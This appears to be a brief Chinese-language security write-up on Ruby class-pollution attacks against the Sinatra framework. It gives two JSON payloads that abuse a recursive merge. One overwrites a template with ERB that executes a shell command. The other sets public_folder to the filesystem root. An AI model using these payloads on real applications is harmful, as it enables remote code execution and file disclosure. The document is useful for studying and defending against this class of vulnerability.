Sinatra::Base框架
{
"class": {
"superclass": {
"superclass": {
"subclasses": {
"sample": {
"templates": {
"hello": "<%= `calc` %>"
}
}
}
}
}
}
}
subclassses后是所有基于Object的类,sample是数组的一个方法(merge中会调用public_send,根据名称执行函数),返回随机一个结果,当返回的是Sinatra::Base时,就会拿到templates属性,然后把hello.erb写成我们执行的模板,执行任意ruby代码。
同样的思路也可以写public_folder
{
"class": {
"superclass": {
"superclass": {
"subclasses": {
"sample": {
"public_folder": "/"
}
}
}
}
}
}